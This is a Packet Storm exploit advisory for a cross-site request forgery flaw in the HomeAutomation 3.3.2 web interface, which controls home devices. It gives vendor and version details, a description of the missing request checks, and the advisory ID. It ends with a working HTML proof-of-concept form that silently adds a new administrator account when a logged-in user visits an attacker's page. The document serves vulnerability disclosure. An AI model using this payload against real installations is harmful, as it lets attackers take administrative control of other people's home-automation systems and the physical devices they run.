HomeAutomation 3.3.2 Cross Site Request Forgery

Type packetstorm
Reporter LiquidWorm
Modified 2019-12-30T00:00:00


HomeAutomation v3.3.2 CSRF Add Admin Exploit  
Vendor: Tom Rosenback and Daniel Malmgren  
Product web page: http://karpero.mine.nu/ha/  
Affected version: 3.3.2  
Summary: HomeAutomation is an open-source web interface and scheduling solution.  
It was initially made for use with the Telldus TellStick, but is now based on a  
plugin system and except for Tellstick it also comes with support for Crestron,  
OWFS and Z-Wave (using OpenZWave). It controls your devices (switches, dimmers,  
etc.) based on an advanced scheduling system, taking into account things like  
measurements from various sensors. With the houseplan view you can get a simple  
overview of the status of your devices at their location in your house.  
Desc: The application interface allows users to perform certain actions via HTTP  
requests without performing any validity checks to verify the requests. This can  
be exploited to perform certain actions with administrative privileges if a logged-in  
user visits a malicious web site.  
Tested on: Apache/2.4.41 (centos) OpenSSL/1.0.2k-fips  
Apache/2.4.29 (Ubuntu)  
PHP 7.2.24-0ubuntu0.18.04.1  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
Advisory ID: ZSL-2019-5558  
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5558.php  
<form action="http://localhost/homeautomation_v3_3_2/?page=conf-usercontrol" method="POST">  
<input type="hidden" name="id" value="-1" />  
<input type="hidden" name="action" value="save" />  
<input type="hidden" name="editable" value="2" />  
<input type="hidden" name="username" value="testingus" />  
<input type="hidden" name="password" value="123456" />  
<input type="hidden" name="firstname" value="Tester" />  
<input type="hidden" name="lastname" value="Testovski" />  
<input type="hidden" name="email" value="test@zeroscience.mk" />  
<input type="hidden" name="userlevel" value="3" />  
<input type="hidden" name="save" value="Save" />  
<input type="submit" value="Addmoi" />